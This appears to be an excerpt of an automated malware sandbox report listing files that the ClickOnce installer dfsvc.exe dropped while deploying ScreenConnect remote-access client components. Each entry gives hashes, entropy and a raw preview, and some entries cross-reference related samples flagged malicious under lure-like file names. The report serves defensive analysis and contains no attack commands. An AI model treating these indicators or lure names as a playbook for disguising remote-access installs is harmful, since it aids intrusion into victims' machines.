Preview:	PcmH...........^.A.l#...(.......T..........................."........<.g..J.\|r,..`P..............E..X......U..c...................'-........s".I...R.....$...........3..L.G.....'~.x.h.................z..w.....[~31.X....s)..;$D......B(.........f..VC.........;..........................0...@...0...p...0.......0...................................0.......4.......D.......T.......\...4...h...........P...\...........@...................................,...(...4.......\.......d.......x...(.......................(.......................(...........$...4...,.......`...............................................k...............................................k...............................................k...............................................k...nameScreenConnect.Core%%processorArchitecture%%%msilpublicKeyToken%%4B14C015C87C1AD8version%24.2.10.8991....................................................MdHd............D...........MdSp(...$...(...(...#............... urn:schemas

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.1303806593325705
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onR+geP0Au2vSkcVSkcMKzpdciSkTo:3FYZ8h9o4gI0A3GVETDTo
MD5:	2343364BAC7A96205EB525ADDC4BBFD1
SHA1:	9CBA0033ACB4AF447772CD826EC3A9C68D6A3CCC
SHA-256:	E9D6A0964FBFB38132A07425F82C6397052013E43FEEDCDC963A58B6FB9148E7
SHA-512:	AB4D01B599F89FE51B0FFE58FC82E9BA6D2B1225DBE8A3CE98F71DCE0405E2521FCA7047974BAFB6255E675CD9B3D8087D645B7AD33D2C6B47B02B7982076710
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Core" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Core.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Configuration" publicKeyToken="b03f5f7f11d50a3a" version="2.0.0.0" />.. </dependentAssem

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	5260
Entropy (8bit):	4.273635945286269
Encrypted:	false
SSDEEP:	96:ENq6R84TeV+Ww7mk9O43jYHlIgBXC35dX1vMwnjIbm:sR84UJC9tUHlXBXEjd
MD5:	5BE3E8251A12056385186DAA715E1ACE
SHA1:	2415E041AFECF98F4B3FB6364ADE89148D916F14
SHA-256:	636E0DEF4DF4202D5DE0A1AD809231E91AEAFD49B7D90D109DC91135CB7575B9
SHA-512:	E0C25C96F77DE9AE4A58ECB32DDFD13E1D6A6AE32BACA6AE6760ED634544DBAB1E31CDA0F3224B2B94EF0728D26CE9DA32331D65A07B39DF9E130C55DBAEF823
Malicious:	false
Preview:	PcmH.........Y...L4...t.......T...............P...........3........<.g..J.\|r,..`P............O.&r..Vz.....U..c...................'-........s".I...R.....$...........3..L.G.....[.......................z..w.....[~31.X....C.........y..&..d......B(.........^.ie...u"...F.....Ey%.....E..X.(...s".I...R)....+.`...m,......;../............... ...#...&......-...0...0.......0...D...0...t...0.......0.......0.......0...4...0...d...................................................................4...........4...P...........l...@.......................................(........... .......(...(...<.......d.......l.......\|...(.......................(.......................(...........8.......@.......T...(...d...................(.......................(...............d...........p...............................................k...............................................k...............................................k...............................................k.......................

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1982
Entropy (8bit):	5.057585371364542
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRbggeP0AuEvSkcyMuscVSkcHSkcf5bdcadccdcckdTo:3FYZ8h9oygI0AbHMrGQAXRTFgTo
MD5:	50FC8E2B16CC5920B0536C1F5DD4AEAE
SHA1:	6060C72B1A84B8BE7BAC2ACC9C1CEBD95736F3D6
SHA-256:	95855EF8E55A75B5B0B17207F8B4BA9370CD1E5B04BCD56976973FD4E731454A
SHA-512:	BD40E38CAC8203D8E33F0F7E50E2CAB9CFB116894D6CA2D2D3D369E277D93CDA45A31E8345AFC3039B20DD4118DC8296211BADFFA3F1B81E10D14298DD842D05
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Windows" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Windows.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depen

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	6588
Entropy (8bit):	4.135225750015584
Encrypted:	false
SSDEEP:	96:zMmxLeV+WwwU8WpZ2LRheuMl2UfdVaMslksJqi/D5:nx8JwpZ2LRhyl5dVzLw75
MD5:	4AEDE05B07476C5FE44D688235F3FCC0
SHA1:	A62C3F3F798BB29BFDE9111B7FCCB176AF58B06F
SHA-256:	30341AC5FE51A1C97BBE4DC26A721789E130B04552ED7257500035AA71880C82
SHA-512:	DBBA1105E9910C07940C9EC49753468519C4F3AAE2BED037B9052DB6B508E6CF65E84607300306A366C8074897752AC8B74B1E621A6D165B6E890D71DC240EEE
Malicious:	false
Preview:	PcmH..........1m.O!.@...........T...............t...........?........<.g..J.\|r,..`P.............U.K...W.....U..c...................'-........s".I...R.....$...........3..L.G.........}'.d................z..w.....[~31.X....y..&..d......B(.........C....."...^.ie...u%...[s.T..<(...s".I...R)...F.....Ey,.....E..X./...f..VC..2...O.&r..Vz5......;..8.....V....X;........... ...#...&...*...-...0...3...6...9...<...0.......0.......0.......0...4...0...d...0.......0.......0.......0...$...0...T...0.......................................................................4...$.......X...P...X...........@........................... .......0...(...8.......`.......h.......x...(.......................(.......................(...........8.......@.......T...(...d...................(.......................(.......................(...$.......L.......T...(...l...................(.......................(...........................................................................k.......................

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2573
Entropy (8bit):	5.026361555169168
Encrypted:	false
SSDEEP:	48:3FYZ8h9o5gI0AsHMrAXQ3MrTMrRGTDBTo:1YiW4AjEvEJ
MD5:	3133DE245D1C278C1C423A5E92AF63B6
SHA1:	D75C7D2F1E6B49A43B2F879F6EF06A00208EB6DC
SHA-256:	61578953C28272D15E8DB5FD1CFFB26E7E16B52ADA7B1B41416232AE340002B7
SHA-512:	B22D4EC1D99FB6668579FA91E70C182BEC27F2E6B4FF36223A018A066D550F4E90AAC3DFFD8C314E0D99B9F67447613CA011F384F693C431A7726CE0665D7647
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.WindowsClient" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.WindowsClient.exe" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System.Drawing" publicKeyToken="b03f5f7f11d50a3a" version="2.0.

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	3032
Entropy (8bit):	4.567688006237518
Encrypted:	false
SSDEEP:	48:7MQScvgFe6S+9oww7g47u2ehojqSJCVJzruPPtnwbb:7XSc6eV+WwwnleajpYruPPtnEb
MD5:	5CC8B449186266E674F6AE7C98B6FD9A
SHA1:	E9A3C3AB9F3043DCF2815BA6B8672DACD5E8C999
SHA-256:	B1AC10F5B7674280268392D26FD8ADE5F29848429C7848777D65D2FBFB522BC8
SHA-512:	AF92370A2B8D7AF1FC9C9656A86F40C26CAA85438822ACACF3969C22A275847DFA6F1A2C21598ACF8112D826983FA691C80ECD88165C5289D96371B722356765
Malicious:	false
Preview:	PcmH..........LGX...............T....................................<.g..J.\|r,..`P............[s.T..<.....U..c...................'-........s".I...R.....$...........3..L.G.......S..{..................z..w.....[~31.X......E..X.....s".I...R.......;......................0.......0...@...0...p...................................................................4...........<...P...........P...@...h...................................(...............................(...,.......T.......\...(...d...........(...........................................................k...............................................k...............................................k...nameScreenConnect.ClientprocessorArchitecture%%%msilpublicKeyToken%%4B14C015C87C1AD8version%24.2.10.8991....................................................MdHd............<...........MdSp ...$....... ...".............Bi urn:schemas-microsoft-com:asm.v1.assembly.xmlns.1.0.manifestVersion urn:schemas-microsoft-com:asm.v2.asmv2)

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	5.147328807370198
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRigeP0AuWvSkcyMuscVSkTo:3FYZ8h9oYgI0AHHMrGTo
MD5:	2EA1AC1E39B8029AA1D1CEBB1079C706
SHA1:	5788C00093D358F8B3D8A98B0BEF5D0703031E3F
SHA-256:	8965728D1E348834E3F1E2502061DFB9DB41478ACB719FE474FA2969078866E7
SHA-512:	6B2A8AC25BBFE4D1EC7B9A9AF8FE7E6F92C39097BCFD7E9E9BE070E1A56718EBEFFFA5B24688754724EDBFFA8C96DCFCAA0C86CC849A203C1F5423E920E64566
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.Client" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.Client.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="System" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </depende

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	14612
Entropy (8bit):	5.744910745597779
Encrypted:	false
SSDEEP:	192:QWh4+9n9q5s6VHoY8s8oXN8s8oTN2x2QPIlFDLhEDh7BqWoy5oFOR:QWx9qS6VTX9dX9R/QPIBM7Yy2Fq
MD5:	97FEF1F16DFFBF51DE83D469D62E1D45
SHA1:	491BB26CE0225525F92572E7DCFF3242DEFA170D
SHA-256:	92B9689FEFD4C6864A9988E4A2C3B94CA1AB669CC3768AFDBD4C78040D7524E3
SHA-512:	CFC74F4920BD86B431E84441B9764626B54E9751AAF7527421D588F84E48BCCC5A0271E77F748E050DD97B64683C39958C25A7AE83AD49684DFF169B97AB67F7
Malicious:	false
Preview:	PcmH.........}%[..0$...@.......T...............8...........#........<.g..J.\|r,..`PF...}&............Z.....)....E......x...\......=+.p.......I\t.\..>................j.K...6.....U..c...................'-...........-.a.....$...........3..L.G..........8........R...........}'.d....j...........K*...!.................`...........................0...................................................(.......@.......P.......T...'...X...................................................4................3......P....7......@8......H8......P8......p8......t8..L...\|8.......8.......8.......8.......8.......8..ScreenConnect.Client.manifest%%%....]...Tk....Y?.Om...{............-........................E..................................k...4.0.30319%%%Client%%4.0%ScreenConnect Software%%ScreenConnect Client....................................P.......nameScreenConnect.WindowsClient.application%processorArchitecture%%%msilpublicKeyToken%%25b0fbb6ef7eb094version%24.2.10.8991........................

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (63847), with CRLF line terminators
Category:	dropped
Size (bytes):	117980
Entropy (8bit):	5.585720273564656
Encrypted:	false
SSDEEP:	3072:0aNIcT51/FXvMVNWfCXq9ymSm2o9HuzhJOvP:0FcfiVI8mt8vOvP
MD5:	4E152D84C20AB6330FF0CF47A9AF7C6D
SHA1:	018F32D833124056FCCFC200318542687D0E5565
SHA-256:	5668723C31F6726947DFEDA324B26D27F7E899647C22A4B1B2BEA935BA8A6B10
SHA-512:	2F3F6B397072B795C74C44F19012483E2785DDEE5A7F5D7E38C566EBC9A94AE084504061F697DB714B933B79824CBC6B08B7718536A19FA21D11AD8D0F8AFB79
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <assemblyIdentity name="ScreenConnect.WindowsClient.application" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <description asmv2:publisher="ScreenConnect Software" asmv2:product="ScreenConnect Client" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <deployment install="false" trustURLParameters="tr

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	4428
Entropy (8bit):	4.37670169564968
Encrypted:	false
SSDEEP:	48:tFQKXCD5v+tgLe6S+9ow87gFW75uv72qhxIdaxsgcm70ZikoDprOaJCf:tFvX4eV+Ww8U45uiqhdxhx04koNOrf
MD5:	59A2612550ADAA55B5B27A9E3DDE1756
SHA1:	BE3C0ECFC5380A5C76CE0C9500925B7CB047BDEE
SHA-256:	71C9B79BBBFEA8431BCC4B0B447C0288D9AF7815517BFC544142F2D41D0712CD
SHA-512:	E18F3F12983B2E29D832EF8B3E617DB8ADE6B6133329CFC3647C24AB87482C080D34C1614E6BDD08C3C3EEF8D9E2B44B27DBA80417DE5D5DE37D18998475CC54
Malicious:	false
Preview:	PcmH.........l......,...T.......T...............8...........+........<.g..J.\|r,..`P...............3LD.S.....U..c...................'-........s".I...R.....$...........3..L.G........6...................z..w.....[~31.X....y..&..d......B(.........[s.T..<....s".I...R......E..X.!...O.&r..Vz$......;..'..................."...%...(...0.......0.......0.......0...D...0...t...0................................................... .......0.......8...4...D.......x...P...l...........@...................,.......4.......D...(...L.......t.......\|...........(...............................(................... ...(...4.......\.......d...(...\|...................(...............L...........0...............................................k...............................................k...............................................k...............................................k...............................................k...............................................k...nameScreenConnect.Cl

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\manifests\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	5.084538887646832
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRzgeP0AuS+vSkcyMuscbEMuscuMuscVSkcf5bdTo:3FYZ8h9o9gI0AJCHMrTMr3MrGAXTo
MD5:	E11E5D85F8857144751D60CED3FAE6D7
SHA1:	7E0AE834C6B1DEA46B51C3101852AFEEA975D572
SHA-256:	ED9436CBA40C9D573E7063F2AC2C5162D40BFD7F7FEC4AF2BEED954560D268F9
SHA-512:	5A2CCF4F02E5ACC872A8B421C3611312A3608C25EC7B28A858034342404E320260457BD0C30EAEFEF6244C0E3305970AC7D9FC64ECE8F33F92F8AD02D4E5FAB0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.ClientService" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.ClientService.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Windows" publicKeyToken="4b14c015c87c1ad8" versio

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95520
Entropy (8bit):	6.505346220942731
Encrypted:	false
SSDEEP:	1536:rg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoT0HMM7CxM7:khbNDxZGXfdHrX7rAc6myJkgoT0HXN7
MD5:	361BCC2CB78C75DD6F583AF81834E447
SHA1:	1E2255EC312C519220A4700A079F02799CCD21D6
SHA-256:	512F9D035E6E88E231F082CC7F0FF661AFA9ACC221CF38F7BA3721FD996A05B7
SHA-512:	94BA891140E7DDB2EFA8183539490AC1B4E51E3D5BD0A4001692DD328040451E6F500A7FC3DA6C007D9A48DB3E6337B252CE8439E912D4FE7ADC762206D75F44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: statments.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: sstatment.exe, Detection: malicious, Browse Filename: extukGiBrn.exe, Detection: malicious, Browse Filename: Vh0tTzx4Ko.exe, Detection: malicious, Browse Filename: support.Client.exe, Detection: malicious, Browse Filename: support.Client.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.......................................@.................................p...x....`..X............L.. )...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...X....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61216
Entropy (8bit):	6.31175789874945
Encrypted:	false
SSDEEP:	1536:SW/+lo6MOc8IoiKWjbNv8DtyQ4RE+TC6VAhVbIF7fIxp:SLlo6dccl9yQGVtFra
MD5:	6DF2DEF5E591E2481E42924B327A9F15
SHA1:	38EAB6E9D99B5CAEEC9703884D25BE8D811620A9
SHA-256:	B6A05985C4CF111B94A4EF83F6974A70BF623431187691F2D4BE0332F3899DA9
SHA-512:	5724A20095893B722E280DBF382C9BFBE75DD4707A98594862760CBBD5209C1E55EEAF70AD23FA555D62C7F5E54DE1407FB98FC552F42DCCBA5D60800965C6A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: statments.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: sstatment.exe, Detection: malicious, Browse Filename: extukGiBrn.exe, Detection: malicious, Browse Filename: Vh0tTzx4Ko.exe, Detection: malicious, Browse Filename: support.Client.exe, Detection: malicious, Browse Filename: support.Client.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L............."...0.................. ........@.. ....................... ......3]....@.....................................O.......,............... )..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81696
Entropy (8bit):	5.862223562830496
Encrypted:	false
SSDEEP:	1536:/tytl44RzbwI5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7Yp7gxd:8/KukLdUpc
MD5:	B1799A5A5C0F64E9D61EE4BA465AFE75
SHA1:	7785DA04E98E77FEC7C9E36B8C68864449724D71
SHA-256:	7C39E98BEB59D903BC8D60794B1A3C4CE786F7A7AAE3274C69B507EBA94FAA80
SHA-512:	AD8C810D7CC3EA5198EE50F0CEB091A9F975276011B13B10A37306052697DC43E58A16C84FA97AB02D3927CD0431F62AEF27E500030607828B2129F305C27BE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P............"...0..@...........^... ...`....@.. .......................`......j.....@..................................^..O....`.. ............... )...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... 